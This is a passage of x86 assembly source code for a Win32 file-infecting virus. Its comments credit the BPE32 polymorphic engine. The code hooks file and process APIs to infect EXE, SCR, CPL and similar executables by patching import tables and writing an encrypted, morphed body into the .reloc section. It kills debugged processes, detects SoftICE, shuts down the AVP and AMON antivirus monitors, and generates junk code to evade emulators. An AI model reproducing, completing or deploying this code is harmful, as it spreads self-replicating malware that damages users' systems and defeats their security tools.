edx push eax push eax call [ebp + ddCreateThread - gdelta] ;create new thread xchg eax, ecx jecxz end_gd3 ;quit if error jmp_host: @SEH_RemoveFrame ;remove SEH frame mov eax, [esp.cPushad+4] ;save address of previous mov [esp.Pushad_eax], eax ;API caller popad ;restore all regs add esp, 8 ;repair stack pointer push cs ;save selector push eax ;save offset of API caller retf ;jump to host :) tnext: add edi, VLCB_TSize ;get to next record inc edx ;increment counter loop sr_t ;try again jmp jmp_host ;quit if more than 20 viruses r in memory end_gd3:push esi call [ebp + ddCloseHandle - gdelta] ;close mutex end_gd2:push dword ptr [ebp + vlcbBase - gdelta] call [ebp + ddUnmapViewOfFile - gdelta] ;unmap VLCB end_gd1:push edi call [ebp + ddCloseHandle - gdelta] ;close mapping of file jmp jmp_host ;and jump to host gtDelta:call mgdlta ;procedure used to getting mgdelta:db 0b8h ;fuck u disassemblers mgdlta: pop ebp ;get it ret ;and quit newFindFirstFileA: ;hooker for FindFirstFileA API push dword ptr [esp+8] ;push parameters push dword ptr [esp+8] ;... c_api oldFindFirstFileA ;call original API p_file: pushad ;store all registers call gtDelta ;get delta mov ebx, [esp.cPushad+8] ;get Win32 Find Data call Check&Infect ;try to infect file popad ;restore all registers ret 8 ;and quit newFindNextFileA: push dword ptr [esp+8] ;push parameters push dword ptr [esp+8] ;... c_api oldFindNextFileA ;call previous API jmp p_file ;and continue process_file: pushad ;store all registers call gtDelta ;get delta offset lea esi, [ebp + WFD2 - mgdelta] ;get Win32_Find_Data push esi ;save it push dword ptr [esp.cPushad+0ch] ;push offset to filename call [ebp + ddFindFirstFileA - mgdelta] ;find that file inc eax je end_pf ;quit if error dec eax xchg eax, ecx ;handle to ECX mov ebx, esi ;WFD to EBX call Check&Infect ;check and infect it push ecx call [ebp + ddFindClose - mgdelta] ;close find handle end_pf: popad ;restore all registers ret ;and quit ;generic hookers for some APIs newCopyFileExA: call process_file j_api oldCopyFileExA newCopyFileA: call process_file j_api oldCopyFileA newCreateFileA: call process_file j_api oldCreateFileA newCreateProcessA: call process_file j_api oldCreateProcessA newDeleteFileA: call process_file j_api oldDeleteFileA newGetFileAttributesA: call process_file j_api oldGetFileAttributesA newGetFullPathNameA: call process_file j_api oldGetFullPathNameA new_lopen: call process_file j_api old_lopen newMoveFileA: call process_file j_api oldMoveFileA newMoveFileExA: call process_file j_api oldMoveFileExA newOpenFile: call process_file j_api oldOpenFile newSetFileAttributesA: call process_file j_api oldSetFileAttributesA newWinExec: call process_file j_api oldWinExec open_driver: xor eax, eax ;EAX=0 push eax ;parameters push 4000000h ;for push eax ;CreateFileA push eax ;API push eax ;function push eax ;... push ebx call [ebp + ddCreateFileA - mgdelta] ;open driver ret close_driver: push eax ;close its handle call [ebp + ddCloseHandle - mgdelta] ret common_stage: ;infect files in curr. directory pushad call gtDelta ;get delta offset mov ecx, fs:[20h] ;get context debug jecxz n_debug ;if zero, debug is not present k_debug:mov eax, 0 ddGetCurrentProcessId = dword ptr $-4 call eax ;get ID number of current process call vlcb_stuph ;common stuph lea esi, [ebp + data_buffer - mgdelta] mov dword ptr [esi.WFD_szAlternateFileName], ebp ;set random data mov ebx, VLCB_Debug1 ;kill debugger call get_set_VLCB ;IPC! vlcb_stuph: xor edx, edx ;random thread dec edx mov ecx, VLCB_SetWait ;set and wait for result ret n_debug:call vlcb_stuph ;common stuph lea esi, [ebp + data_buffer - mgdelta] mov dword ptr [esi.WFD_szAlternateFileName], ebp ;set random data mov ebx, VLCB_Debug2 ;check for SoftICE call get_set_VLCB ;IPC! mov eax, dword ptr [esi.WFD_szAlternateFileName] ;get result dec eax test eax, eax je endEP ;quit if SoftICE in memory call vlcb_stuph ;common stuph lea esi, [ebp + data_buffer - mgdelta] mov dword ptr [esi.WFD_szAlternateFileName], ebp ;set random data mov ebx, VLCB_Monitor ;kill monitors call get_set_VLCB ;IPC! lea ebx, [ebp + WFD - mgdelta] ;get Win32 Find Data push ebx ;store its address call star db '*.*',0 ;create mask star: mov eax, 0 ddFindFirstFileA = dword ptr $-4 call eax ;find file inc eax je endEP ;if error, then quit dec eax mov [ebp + fHandle - mgdelta], eax ;store handle call Check&Infect ;and try to infect file findF: lea ebx, [ebp + WFD - mgdelta] ;get Win32 Find Data push ebx ;store address push_LARGE_0 ;store handle fHandle = dword ptr $-4 mov eax, 0 ddFindNextFileA = dword ptr $-4 call eax ;find next file xchg eax, ecx ;result to ECX jecxz endEP2 ;no more files, quit call Check&Infect ;try to infect file jmp findF ;find another file endEP2: push dword ptr [ebp + fHandle - mgdelta];store handle mov eax, 0 ddFindClose = dword ptr $-4 call eax ;close it endEP: popad ret newExitProcess: ;hooker for ExitProcess API pushad call common_stage ;infect files in current directory call gtDelta ;get delta offset mov edx, [ebp + t_number - mgdelta] ;get ID number of thread push edx mov ecx, VLCB_SetWait ;set and wait for result lea esi, [ebp + data_buffer - mgdelta] mov dword ptr [esi.WFD_szAlternateFileName], ebp mov ebx, VLCB_Quit ;terminate thread call get_set_VLCB ;IPC! pop edx ;number of thread imul edx, VLCB_TSize ;now we will push VLCB_TSize/4 ;erase thread pop ecx ;record add edi, edx ;from VLCB add edi, VLCB_TSep xor eax, eax rep stosd ;... popad j_api oldExitProcess ;jump to original API ;next hookers newExitThread: call common_stage j_api oldExitThread newCloseHandle: call common_stage j_api oldCloseHandle newGetLastError: call common_stage j_api oldGetLastError Monitor:pushad ;store all registers call szU32 ;push address of string USER32.dll db 'USER32',0 szU32: mov eax, 0 ddLoadLibraryA = dword ptr $-4 ;Load USER32.dll call eax xchg eax, ebx test ebx, ebx je end_mon2 ;quit if error call FindWindowA ;push address of string FindWindowA db 'FindWindowA',0 FindWindowA: push ebx ;push lib handle mov eax, 0 ddGetProcAddress = dword ptr $-4 ;get address of FindWindowA API call eax xchg eax, esi test esi, esi je end_mon ;quit if error call PostMessageA ;push address of string PostMessageA db 'PostMessageA',0 PostMessageA: push ebx call [ebp + ddGetProcAddress - mgdelta] ;get address of PostMessageA xchg eax, edi test edi, edi je end_mon ;quit if error mov ecx, 3 ;number of monitors call Monitors ;push address of strings db 'AVP Monitor',0 ;AVP monitor db 'Amon Antivirus Monitor',0 ;AMON english version db 'Antiv?rusov? monitor Amon',0 ;AMON slovak version Monitors: pop edx ;pop address k_mon: pushad ;store all registers xor ebp, ebp push edx push ebp call esi ;find window test eax, eax je next_mon ;quit if not found push ebp push ebp push 12h ;WM_QUIT push eax call edi ;destroy window next_mon: popad ;restore all registers push esi mov esi, edx @endsz ;get to next string mov edx, esi ;move it to EDX pop esi loop k_mon ;try another monitor end_mon:push ebx ;push lib handle mov eax, 0 ddFreeLibrary = dword ptr $-4 call eax ;unload library end_mon2: popad ;restore all registers jmp d_wr ;and quit Debug2: lea ebx, [ebp + sice95 - mgdelta] ;address of softice driver string call open_driver ;open driver inc eax ;is EAX==0? je n_sice ;yeah, SoftICE is not present dec eax call close_driver ;close driver jmp d_wr ;and quit n_sice: lea ebx, [ebp + siceNT - mgdelta] ;address of softice driver string call open_driver ;open driver inc eax je n2_db ;quit if not present dec eax call close_driver ;close driver jmp d_wr ;and quit Debug1: push dword ptr [esi.WFD_szAlternateFileName] ;push ID number of process push 0 push 1 mov eax, 0 ddOpenProcess = dword ptr $-4 call eax ;open process test eax, eax jne n1_db n2_db: call t_write ;quit if error jmp m_thrd n1_db: push 0 push eax mov eax, 0 ddTerminateProcess = dword ptr $-4 ;destroy debugged process :) call eax jmp t_write mThread:pushad ;main IPC thread @SEH_SetupFrame ;setup SEH frame call gtDelta ;get delta m_thrd: mov edx, 0 ;get thread ID number t_number = dword ptr $-4 mov ecx, VLCB_WaitGet lea esi, [ebp + data_buffer - mgdelta] call get_set_VLCB ;wait for request dec ecx jecxz Quit ;quit dec ecx jecxz Check ;check file cmp ecx, 1 je Infect ;check and infect file cmp ecx, 2 je Debug1 ;check for debugger cmp ecx, 3 je Debug2 ;check for SoftICE cmp ecx, 4 je Monitor ;kill AV monitors push 0 call [ebp + ddSleep - mgdelta] ;switch to next thread jmp m_thrd ;and again... Quit: call t_write ;write result end_mThread: @SEH_RemoveFrame ;remove SEH frame popad ;restore all registers ret ;and quit from thread t_write:xor ecx, ecx ;set result inc ecx t_wr: inc ecx mov dword ptr [esi.WFD_szAlternateFileName], ecx ;write it mov ecx, VLCB_SetWait ;set and wait mov edx, [ebp + t_number - mgdelta] ;this thread call get_set_VLCB ;IPC! ret Check: @SEH_SetupFrame ;setup SEH frame call CheckFile ;check file jecxz err_sCheck ;quit if error _c1_ok: @SEH_RemoveFrame ;remove SEH frame call t_write ;write result jmp m_thrd ;and quit err_sCheck: @SEH_RemoveFrame ;remove SEH frame d_wr: xor ecx, ecx call t_wr ;write result jmp m_thrd ;and quit Infect: @SEH_SetupFrame ;setup SEH frame call InfectFile ;check and infect file jmp _c1_ok ;and quit InfectFile: lea esi, [esi.WFD_szFileName] ;get filename pushad xor eax, eax push eax push FILE_ATTRIBUTE_NORMAL push OPEN_EXISTING push eax push eax push GENERIC_READ or GENERIC_WRITE push esi mov eax, 0 ddCreateFileA = dword ptr $-4 call eax ;open file inc eax je r_attr ;quit if error dec eax mov [ebp + hFile - mgdelta], eax ;save handle xor edx, edx push edx push edx push edx push PAGE_READWRITE push edx push eax mov eax, 0 ddCreateFileMappingA = dword ptr $-4 call eax ;create file mapping xchg eax, ecx jecxz endCreateMapping ;quit if error mov [ebp + hMapFile - mgdelta], ecx ;save handle xor edx, edx push edx push edx push edx push FILE_MAP_WRITE push ecx mov eax, 0 ddMapViewOfFile = dword ptr $-4 call eax ;map view of file xchg eax, ecx jecxz endMapFile ;quit if error mov [ebp + lpFile - mgdelta], ecx ;save base address jmp nOpen endMapFile: push_LARGE_0 ;store base address lpFile = dword ptr $-4 mov eax, 0 ddUnmapViewOfFile = dword ptr $-4 call eax ;unmap view of file endCreateMapping: push_LARGE_0 ;store handle hMapFile = dword ptr $-4 call [ebp + ddCloseHandle - mgdelta] ;close file mapping lea eax, [ebp + data_buffer.WFD_ftLastWriteTime - mgdelta] push eax lea eax, [ebp + data_buffer.WFD_ftLastAccessTime - mgdelta] push eax lea eax, [ebp + data_buffer.WFD_ftCreationTime - mgdelta] push eax push dword ptr [ebp + hFile - mgdelta] mov eax, 0 ddSetFileTime = dword ptr $-4 call eax ;set back file time push_LARGE_0 ;store handle hFile = dword ptr $-4 call [ebp + ddCloseHandle - mgdelta] ;close file r_attr: push dword ptr [ebp + data_buffer - mgdelta] lea esi, [ebp + data_buffer.WFD_szFileName - mgdelta] push esi ;filename call [ebp + ddSetFileAttributesA - mgdelta] ;set back file attributes jmp c_error ;and quit nOpen: mov ebx, ecx cmp word ptr [ebx], IMAGE_DOS_SIGNATURE ;must be MZ jne endMapFile mov esi, [ebx.MZ_lfanew] add esi, ebx lodsd cmp eax, IMAGE_NT_SIGNATURE ;must be PE\0\0 jne endMapFile cmp word ptr [esi.FH_Machine], IMAGE_FILE_MACHINE_I386 ;must be 386+ jne endMapFile mov ax, [esi.FH_Characteristics] test ax, IMAGE_FILE_EXECUTABLE_IMAGE ;must be executable je endMapFile test ax, IMAGE_FILE_DLL ;mustnt be DLL jne endMapFile test ax, IMAGE_FILE_SYSTEM ;mustnt be system file jne endMapFile mov al, byte ptr [esi.OH_Subsystem] test al, IMAGE_SUBSYSTEM_NATIVE ;and mustnt be driver (thanx GriYo !) jne endMapFile movzx ecx, word ptr [esi.FH_NumberOfSections] ;must be more than one section dec ecx test ecx, ecx je endMapFile imul eax, ecx, IMAGE_SIZEOF_SECTION_HEADER movzx edx, word ptr [esi.FH_SizeOfOptionalHeader] lea edi, [eax+edx+IMAGE_SIZEOF_FILE_HEADER] add edi, esi ;get to section header lea edx, [esi.NT_OptionalHeader.OH_DataDirectory.DE_BaseReloc.DD_VirtualAddress-4] mov eax, [edx] test eax, eax je endMapFile ;quit if no relocs mov ecx, [edi.SH_VirtualAddress] cmp ecx, eax jne endMapFile ;is it .reloc section? cmp [edi.SH_SizeOfRawData], 1a00h jb endMapFile ;check if .reloc is big enough pushad xor eax, eax mov edi, edx stosd ;erase .reloc records stosd popad mov eax, ebx ;now we will try to xor ecx, ecx ;patch it_patch: pushad ;one API call mov edx, dword ptr [ebp + crcpAPIs + ecx*4 - mgdelta] ;get CRC32 test edx, edx jne c_patch popad jmp end_patch ;quit if end of record c_patch:push dword ptr [edi.SH_VirtualAddress] ;patch address push edx ;CRC32 mov [ebp + r2rp - mgdelta], eax ;infection stage call PatchIT ;try to patch API call mov [esp.Pushad_edx], eax ;save address test eax, eax popad jne end_patch ;quit if we got address inc ecx jmp it_patch ;API call not found, try another API end_patch: mov eax, edx mov edx, [esi.NT_OptionalHeader.OH_ImageBase-4] ;get Image base mov [ebp + compressed + (ImgBase-decompressed) - mgdelta], edx ;save it lea edx, [ebp + compressed + (ddAPI-decompressed) - mgdelta] push dword ptr [edx] ;store prev. API call mov [edx], eax ;save new one pushad ;store all registers lea esi, [ebp + compressed+(VulcanoInit-decompressed) - mgdelta] mov edi, [edi.SH_PointerToRawData] add edi, ebx ;where to write body mov ecx, (decompressed-VulcanoInit+3)/4 ;size of virus body call BPE32 ;write morphed body to file! mov [esp.Pushad_eax], eax ;save size popad pop dword ptr [edx] ;restore API call or dword ptr [edi.SH_Characteristics], IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE ;set flags lea ecx, [edi.SH_VirtualSize] ;get virtual size add [ecx], eax ;correct it mov ecx, [esi.NT_OptionalHeader.OH_FileAlignment-4] xor edx, edx div ecx inc eax mul ecx mov edx, [edi.SH_SizeOfRawData] mov [edi.SH_SizeOfRawData], eax ;align SizeOfRawData test dword ptr [edi.SH_Characteristics], IMAGE_SCN_CNT_INITIALIZED_DATA je rs_ok sub eax, edx add [esi.NT_OptionalHeader.OH_SizeOfInitializedData-4], eax ;update next field, if needed rs_ok: mov eax, [edi.SH_VirtualAddress] add eax, [edi.SH_VirtualSize] xor edx, edx mov ecx, [esi.NT_OptionalHeader.OH_SectionAlignment-4] div ecx inc eax mul ecx mov [esi.NT_OptionalHeader.OH_SizeOfImage-4], eax ;new SizeOfImage jmp endMapFile ;everything is ok, we can quit CheckFile: pushad mov ebx, esi test [ebx.WFD_dwFileAttributes], FILE_ATTRIBUTE_DIRECTORY jne c_error ;discard directory entries xor ecx, ecx cmp [ebx.WFD_nFileSizeHigh], ecx ;discard files >4GB jne c_error mov edi, [ebx.WFD_nFileSizeLow] cmp edi, 4000h ;discard small files jb c_error lea esi, [ebx.WFD_szFileName] ;get filename push esi endf: lodsb cmp al, '.' ;search for dot jne endf dec esi lodsd ;get filename extension or eax, 20202020h ;make it lowercase not eax ;mask it pop esi cmp eax, not 'exe.' ;is it EXE? je extOK cmp eax, not 'rcs.' ;is it SCR? je extOK cmp eax, not 'xfs.' ;is it SFX? je extOK cmp eax, not 'lpc.' ;is it CPL? je extOK cmp eax, not 'tad.' ;is it DAT? je extOK cmp eax, not 'kab.' ;is it BAK? je extOK xor ecx, ecx inc ecx c_error:mov [esp.Pushad_ecx], ecx ;save result popad ret extOK: push FILE_ATTRIBUTE_NORMAL ;normal file push esi ;filename mov eax, 0 ddSetFileAttributesA = dword ptr $-4 call eax ;blank file attributes xchg eax, ecx jmp c_error get_set_VLCB: ;get/set VLCB records procedure (IPC) ;input: ECX - 0=set/wait else wait/get ; ESI - pointer to data, if ECX!=0 ; EBX - ID number of request ; EDX - -1, if random thread, otherwise ; - number of thread. ;output:ECX - if input ECX!=0, ECX=ID ; - if error, ECX=-1 ; EDX - if ECX!=0, number of thread ; ESI - ptr to data, if input ECX=0 mov edi, 0 vlcbBase = dword ptr $-4 inc edx je t_rnd ;get random record dec edx imul eax, edx, VLCB_TSize-8 add edi, eax jecxz sw_VLCB cmp dword ptr [edi.VLCB_TSep.VLCB_THandle], 0 je qq call w_wait ;wait for free mutex pushad xchg esi, edi lea esi, [esi.VLCB_TSep.VLCB_TData] mov ecx, (VLCB_TSize-8)/4 rep movsd ;copy data popad mov ecx, [edi.VLCB_TSep.VLCB_TID] ;get ID push ecx call r_mutex ;release mutex pop ecx ret ;and quit t_next: add edi, VLCB_TSize-8 ;move to next record inc edx loop tsrch qqq: pop ecx qq: xor ecx, ecx dec ecx ret t_rnd: push ecx ;pass thru 20 records push 20 pop ecx xor edx, edx tsrch: cmp dword ptr [edi.VLCB_TSep.VLCB_THandle], 0 je t_next ;check if its free pop ecx sw_VLCB:call w_wait ;wait for free mutex pushad lea edi, [edi.VLCB_TSep.VLCB_TData] mov ecx, (VLCB_TSize-8)/4 rep movsd ;copy data popad mov [edi.VLCB_TSep.VLCB_TID], ebx pushad lea esi, [edi.VLCB_TSep.VLCB_TData.WFD_szAlternateFileName] mov ebp, [esi] ;get result call r_mutex ;signalize mutex slp: call sleep ;switch to next thread cmp [esi], ebp ;check for change je slp ;no change, wait popad xor ecx, ecx ret ;quit w_wait: call open_mutex ;open mutex push eax push 10000 ;wait 10 seconds push eax mov eax, 0 ddWaitForSingleObject = dword ptr $-4 call eax test eax, eax pop eax jne qqq ;quit if not signalized call close_mutex ;close mutex ret ;and quit open_mutex: lea eax, [edi.VLCB_TSep.VLCB_THandle] ;name of mutex push eax push 0 push 0f0000h or 100000h or 1 ;access flags mov eax, 0 ddOpenMutexA = dword ptr $-4 ;open mutex call eax ret r_mutex:call open_mutex ;open mutex push eax push eax mov eax, 0 ddReleaseMutex = dword ptr $-4 call eax ;singalize mutex pop eax close_mutex: push eax mov eax, 0 ddCloseHandle = dword ptr $-4 call eax ;close mutex ret sleep: push 0 ;switch to next thread mov eax, 0 ddSleep = dword ptr $-4 call eax ;switch! ret Check&Infect: pushad mov esi, ebx ;get ptr to data pushad call vlcb_stuph ;common stuph mov ebx, VLCB_Check ;check only call get_set_VLCB ;IPC! inc ecx popad je _ret_ ;quit if error mov eax, dword ptr [esi.WFD_szAlternateFileName] dec eax test eax, eax je _ret_ sc1_ok: call vlcb_stuph ;common stuph mov ebx, VLCB_Infect ;check and infect call get_set_VLCB ;IPC! _ret_: popad ret CRC32: push ecx ;procedure to calculate CRC32 push edx push ebx xor ecx, ecx dec ecx mov edx, ecx NextByteCRC: xor eax, eax xor ebx, ebx lodsb xor al, cl mov cl, ch mov ch, dl mov dl, dh mov dh, 8 NextBitCRC: shr bx, 1 rcr ax, 1 jnc NoCRC xor ax, 08320h xor bx, 0edb8h NoCRC: dec dh jnz NextBitCRC xor ecx, eax xor edx, ebx dec edi jne NextByteCRC not edx not ecx pop ebx mov eax, edx rol eax, 16 mov ax, cx pop edx pop ecx ret SearchET: ;procedure for recieving API names from Export table pushad ;save all registers @SEH_SetupFrame ;setup SEH frame mov edi, [eax.MZ_lfanew] ;get ptr to PE header add edi, eax ;make pointer raw mov ecx, [edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_Size] jecxz address_not_found ;quit, if no exports mov ebx, eax add ebx, [edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress] mov edx, eax ;get RVA to Export table add edx, [ebx.ED_AddressOfNames] ;offset to names mov ecx, [ebx.ED_NumberOfNames] ;number of name mov edi, esi push edi xchg eax, ebp xor eax, eax APIname:push eax mov esi, ebp add esi, [edx+eax*4] ;get to API name push esi @endsz ;get to the end of API name sub esi, [esp] ;get size of API name mov edi, esi ;to EDI pop esi ;restore ptr to API name call CRC32 ;get its CRC32 mov edi, [esp+4] ;get requested CRC32 cmp eax, [edi] ;is it same pop eax je mcrc ;yeah nchar: inc eax ;no, increment counter loop APIname ;and get next API name pop eax ;clean stack address_not_found: xor eax, eax ;and quit jmp endGPA mcrc: pop edx mov edx, ebp add edx, [ebx.ED_AddressOfOrdinals] ;skip over ordinals movzx eax, word ptr [edx+eax*2] cmp eax, [ebx.ED_NumberOfFunctions] jae address_not_found mov edx, ebp add edx, [ebx.ED_AddressOfFunctions] ;get start of function addresses add ebp, [edx+eax*4] ;make it pointer to our API xchg eax, ebp ;address to EAX endGPA: @SEH_RemoveFrame ;remove SEH frame mov [esp.Pushad_eax], eax ;store address popad ;restore all registers ret ;and quit a_go: inc esi ;jump over alignments inc esi pushad ;store all registers xor edx, edx ;zero EDX xchg eax, esi push 2 pop ecx div ecx test edx, edx je end_align ;no alignments needed inc eax ;align API name end_align: mul ecx mov [esp.Pushad_esi], eax popad ;restore all registers ret PatchIT Proc ;procedure for patching API calls pushad ;store all registers @SEH_SetupFrame ;setup SEH frame call itDlta itDelta:db 0b8h itDlta: pop ebp mov [ebp + gmh - itDelta], eax ;save it mov ebx, [eax.MZ_lfanew] ;get to PE header add ebx, eax ;make pointer raw push dword ptr [ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_VirtualAddress] call rva2raw pop edx sub edx, IMAGE_SIZEOF_IMPORT_DESCRIPTOR push edi n_dll: pop edi add edx, IMAGE_SIZEOF_IMPORT_DESCRIPTOR lea edi, [ebp + szK32 - itDelta] ;get Kernel32 name mov esi, [edx] test esi, esi je endPIT sdll: push dword ptr [edx.ID_Name] call rva2raw pop esi push edi cmpsd ;is it K32? jne n_dll cmpsd jne n_dll cmpsd jne n_dll pop edi xor ecx, ecx ;zero counter push dword ptr [edx.ID_OriginalFirstThunk] ;get first record call rva2raw pop esi push dword ptr [esi] ;get first API name call rva2raw pop esi pit_align: call a_go push esi ;store pointer @endsz ;get to the end of API name mov edi, esi sub edi, [esp] ;move size of API name to EDI pop esi ;restore pointer push eax ;store EAX call CRC32 ;calculate CRC32 of API name cmp eax, [esp.cPushad+10h] ;check, if it is requested API je a_ok ;yeah, it is inc ecx mov eax, [esi] ;check, if there is next API test eax, eax ;... pop eax ;restore EAX jne pit_align ;yeah, check it jmp endPIT ;no, quit a_ok: pop eax ;restore EAX push dword ptr [edx.ID_FirstThunk] ;get address to IAT call rva2raw pop edx mov eax, [edx+ecx*4] ;get address mov [esp.Pushad_eax+8], eax ;and save it to stack pushad ;store all registers mov eax, 0 ;get base address of program gmh = dword ptr $-4 mov ebx, [eax.MZ_lfanew] add ebx, eax ;get PE header push dword ptr [ebx.NT_OptionalHeader.OH_BaseOfCode] ;get base of code call rva2raw ;normalize pop esi ;to ESI mov ecx, [ebx.NT_OptionalHeader.OH_SizeOfCode] ;and its size pushad call p_var dd ? p_var: push PAGE_EXECUTE_READWRITE push ecx push esi mov eax, 0 ddVirtualProtect = dword ptr $-4 call eax ;set writable right test eax, eax popad je endPIT sJMP: mov dl, [esi] ;get byte from code inc esi cmp dl, 0ffh ;is it JMP/CALL? jne lJMP ;check, if it is cmp byte ptr [esi], 25h ;JMP DWORD PTR [XXXXXXXXh] je gIT1 cmp byte ptr [esi], 15h ;or CALL DWORD PTR [XXXXXXXXh] jne lJMP mov dl, 0e8h jmp gIT2 gIT1: mov dl, 0e9h gIT2: mov [ebp + j_or_c - itDelta], dl ;change opcode mov edi, [ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_VirtualAddress] add edi, [ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_Size] push ecx mov ecx, [ebx.NT_OptionalHeader.OH_ImageBase] add edi, ecx push ebp mov ebp, [esi+1] sub ebp, ecx push ebp call rva2raw pop ebp sub ebp, eax add ebp, ecx sub edi, ebp pop ebp pop ecx js lJMP ;check, if it is correct address push ecx push edx ;store EDX mov edx, [esp.Pushad_ecx+8] ;get counter imul edx, 4 ;multiply it by 4 add edx, [esp.Pushad_edx+8] ;add address to IAT to ptr sub edx, eax mov ecx, [esi+1] sub ecx, [ebx.NT_OptionalHeader.OH_ImageBase] push ecx call rva2raw pop ecx sub ecx, eax cmp edx, ecx ;is it current address pop edx pop ecx ;restore EDX jne sJMP ;no, get next address mov eax, [esi+1] mov [esp.cPushad.Pushad_eax+8], eax ;store register to stack mov [esp.Pushad_esi], esi ;for l8r use popad ;restore all registers mov byte ptr [esi-1], 0e9h ;build JMP or CALL j_or_c = byte ptr $-1 mov ebx, [esi+1] mov eax, [esp.cPushad+10h] ;get address add eax, [ebp + gmh - itDelta] sub eax, esi ;- current address sub eax, 4 ;+1-5 mov [esi], eax ;store built jmp instruction mov byte ptr [esi+4], 90h xchg eax, ebx jmp endIT ;and quit lJMP: dec ecx jecxz endPIT-1 jmp sJMP ;search in a loop popad ;restore all registers endPIT: xor eax, eax mov [esp.Pushad_eax+8], eax endIT: @SEH_RemoveFrame ;remove SEH frame popad ;restore all registers ret 8 ;and quit PatchIT EndP rva2raw:pushad ;procedure for converting RVAs to RAW pointers mov ecx, 0 ;0 if actual program r2rp = dword ptr $-4 jecxz nr2r mov edx, [esp.cPushad+4] ;no comments needed :) movzx ecx, word ptr [ebx.NT_FileHeader.FH_NumberOfSections] movzx esi, word ptr [ebx.NT_FileHeader.FH_SizeOfOptionalHeader] lea esi, [esi+ebx+IMAGE_SIZEOF_FILE_HEADER+4] n_r2r: mov edi, [esi.SH_VirtualAddress] add edi, [esi.SH_VirtualSize] cmp edx, edi jb c_r2r add esi, IMAGE_SIZEOF_SECTION_HEADER loop n_r2r popad ret nr2r: add [esp.cPushad+4], eax popad ret c_r2r: add eax, [esi.SH_PointerToRawData] add eax, edx sub eax, [esi.SH_VirtualAddress] mov [esp.cPushad+4], eax popad ret NewThread: ;thread starts here pushad ;store all registers @SEH_SetupFrame mov ebp, [esp+2ch] ;get delta parameter xor ecx, ecx ;zero ECX and dword ptr [ebp + r2rp - gdelta], 0 g_hook: mov eax, [ebp + newHookers + ecx*4 - gdelta] ;take address to hooker test eax, eax ;is it 0? je q_hook ;yeah, quit add eax, ebp sub eax, [ebp + GMHA - gdelta] push eax ;store address push dword ptr [ebp + crchAPIs + ecx*4 - gdelta] ;store CRC32 mov eax, 0 GMHA = dword ptr $-4 call PatchIT ;and patch Import Table mov esi, [ebp + oldHookers + ecx*4 - gdelta] add esi, ebp mov [esi], eax ;save old hooker inc ecx ;increment counter jmp g_hook ;loop q_hook: @SEH_RemoveFrame popad ;restore all registers ret ;and terminate thread ;BPE32 (Benny's Polymorphic Engine for Win32) starts here. U can find first ;version of BPE32 in DDT#1 e-zine. But unfortunately, how it usualy goes, ;there were TWO, REALLY SILLY/TINY bugs. I found them and corrected them. So, ;if u wanna use BPE32 in your code, use this version, not that version from ;DDT#1. Very BIG sorry to everyone, who had/has/will have problems with it. ;I also included there SALC opcode as a junk instruction. BPE32 Proc pushad ;save all regs push edi ;save these regs for l8r use push ecx ; ... mov edx, edi ; ... push esi ;preserve this reg call rjunk ;generate random junk instructions pop esi ;restore it mov al, 0e8h ;create CALL instruction stosb ; ... mov eax, ecx ; ... imul eax, 4 ; ... stosd ; ... mov eax, edx ;calculate size of CALL+junx sub edx, edi ; ... neg edx ; ... add edx, eax ; ... push edx ;save it push 0 ;get random number call random ; ... xchg edx, eax mov [ebp + xor_key - mgdelta], edx ;use it as xor constant push 0 ;get random number call random ; ... xchg ebx, eax mov [ebp + key_inc - mgdelta], ebx ;use it as key increment constant x_loop: lodsd ;load DWORD xor eax, edx ;encrypt it stosd ;store encrypted DWORD add edx, ebx ;increment key loop x_loop ;next DWORD call rjunk ;generate junx mov eax, 0006e860h ;generate SEH handler stosd ; ... mov eax, 648b0000h ; ... stosd ; ... mov eax, 0ceb0824h ; ... stosd ; ... greg0: call get_reg ;get random register cmp al, 5 ;MUST NOT be EBP register je greg0 mov bl, al ;store register mov dl, 11 ;proc parameter (do not generate MOV) call make_xor ;create XOR or SUB instruction inc edx ;destroy parameter mov al, 64h ;generate FS: stosb ;store it mov eax, 896430ffh ;next SEH instructions or ah, bl ;change register stosd ;store them mov al, 20h ; ... add al, bl ; ... stosb ; ... push 2 ;get random number call random test eax, eax je _byte_ mov al, 0feh ;generate INC DWORD PTR jmp _dw_ _byte_: mov al, 0ffh ;generate INC BYTE PTR _dw_: stosb ;store it mov al, bl ;store register stosb ; ... mov al, 0ebh ;generate JUMP SHORT stosb ; ... mov al, -24d ;generate jump to start of code (trick stosb ;for better emulators, e.g. NODICE32) call rjunk ;generate junx greg1: call get_reg ;generate random register cmp al, 5 ;MUST NOT be EBP je greg1 mov bl, al ;store it call make_xor ;generate XOR,SUB reg, reg or MOV reg, 0 mov al, 64h ;next SEH instructions stosb ; ... mov al, 8fh ; ... stosb ; ... mov al, bl ; ... stosb ; ... mov al, 58h ; ... add al, bl ; ... stosb ; ... mov al, 0e8h ;generate CALL stosb ; ... xor eax, eax ; ... stosd ; ... push edi ;store for l8r use call rjunk ;call junk generator call get_reg ;random register mov bl, al ;store it push 1 ;random number (0-1) call random ; ... test eax, eax jne next_delta mov al, 8bh ;generate MOV reg, [ESP]; POP EAX stosb mov al, 80h or al, bl rol al, 3 stosb mov al, 24h stosb mov al, 58h jmp bdelta next_delta: mov al, bl ;generate POP reg; SUB reg, ... add al, 58h bdelta: stosb mov al, 81h stosb mov al, 0e8h add al, bl stosb pop eax stosd call rjunk ;random junx xor bh, bh ;parameter (first execution only) call greg2 ;generate MOV sourcereg, ... mov al, 3 ;generate ADD sourcereg, deltaoffset stosb ; ... mov al, 18h ; ... or al, bh ; ... rol al, 3 ; ... or al, bl ; ... stosb ; ... mov esi, ebx ;store EBX call greg2 ;generate MOV countreg, ... mov cl, bh ;store count register mov ebx, esi ;restore EBX call greg3 ;generate MOV keyreg, ... push edi ;store this position for jump to decryptor mov al, 31h ;generate XOR [sourcereg], keyreg stosb ; ... mov al, ch ; ... rol al, 3 ; ... or al, bh ; ... stosb ; ... push 6 ;this stuff will choose ordinary of calls call random ;to code generators test eax, eax je g5 ;GREG4 - key incremention cmp al, 1 ;GREG5 - source incremention je g1 ;GREG6 - count decremention cmp al, 2 ;GREG7 - decryption loop je g2 cmp al, 3 je g3 cmp al, 4 je g4 g0: call gg1 call greg6 jmp g_end g1: call gg2 call greg5 jmp g_end 